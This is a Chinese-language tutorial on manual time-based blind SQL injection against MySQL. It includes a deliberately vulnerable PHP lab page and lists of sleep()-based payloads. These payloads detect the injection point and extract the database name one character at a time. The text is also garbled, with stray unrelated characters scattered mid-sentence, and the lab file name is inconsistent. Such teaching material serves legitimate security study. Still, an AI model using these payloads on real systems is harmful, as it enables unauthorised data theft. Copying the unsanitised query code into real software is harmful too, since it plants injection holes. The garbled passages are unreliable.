此文章建立在已經(jīng)閱讀并掌握了《Mysql 聯(lián)合查詢手工注入詳解》和Mysql 布爾型盲注手工注入詳解的基礎上

練習環(huán)境與布爾型盲注差不多，php代碼改下

<?php
    /* 關閉錯誤信息 */
    error_reporting(0);
    /* 設置header編碼 */
    header("Content-type: text/html; charset=utf-8");
    /* 連接信息 */
    $host = '127.0.0.1';
    $user = 'root';
    $pass = 'root';
    $db   = 'test';

    if(@isset($_GET['name'])){
        $conn = mysqli_connect($host,$user,$pass,$db) or die('Link False');

        $sql = "SELECT * FROM user where user='".$_GET['name']."'";
        echo '<div style=\'color:red;\'>'.$sql.'</div>';
        $res = mysqli_query($conn,$sql);
    }else{
        echo 'sql-time.php?name=user1';
    }
?>

0x00 什么是時間盲注

時間盲注指通過頁面執(zhí)行的時間來判斷數(shù)據(jù)內(nèi)容的注入方式，通常用于數(shù)據(jù)（包含邏輯型）不能返回到頁面中的場景苞也，無法利用頁面回顯判斷數(shù)據(jù)內(nèi)容，只能通過執(zhí)行的時間來獲取數(shù)據(jù)

0x01 基礎知識

這里就比較簡單了记靡，介紹一個Mysql中的流程控制

if

if(表達式,真,假)

當表達式成立時刘绣，會執(zhí)行真然磷，反之執(zhí)行假

example

if

0x01 手工注入

判斷注入點

就不多廢話了摄欲，上payload轿亮，具體可參考布爾型盲注的原理

/* 整型注入 */
sql-bool.php?name=user1 and sleep(5)
sql-bool.php?name=user1 and sleep(10)
/* 字符型注入 */
sql-bool.php?name=user1' and sleep(5) and '1'='1
sql-bool.php?name=user1' and sleep(10) and '1'='2
/* 字符型注入 */
sql-bool.php?name=user1" and sleep(5) and "1"="1
sql-bool.php?name=user1" and sleep(10) and "1"="2

這里為了方便看響應時間用burp來發(fā)送請求

正常請求

' and sleep(5) and '1'='1

' and sleep(10) and '1'='1

可以看到，正常訪問時胸墙，頁面響應時間為2毫秒我注，sleep(5)時響應約為5秒，sleep(10)時迟隅，約為10秒

由此可判斷頁面存在時間盲注

讀數(shù)據(jù)

原理大致與布爾型盲注一樣但骨，不過由于布爾型無法返回頁面，所以通過if來觸發(fā)sleep()函數(shù)智袭，這樣就可以通過時間判斷表達式的真或假奔缠，從而判斷數(shù)據(jù)的內(nèi)容

sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 97,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 98,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 99,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 100,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 101,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 102,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 103,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 104,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 105,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 106,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 107,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 108,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 109,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 110,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 111,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 112,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 113,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 114,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 115,sleep(5),1) and '1'='1
sql-time.php?name=user1' and if((select ord(substring(database(),1,1))) = 116,sleep(5),1) and '1'='1

在其他數(shù)值時，頁面響應時間約為3毫秒

other

116

其他以此類推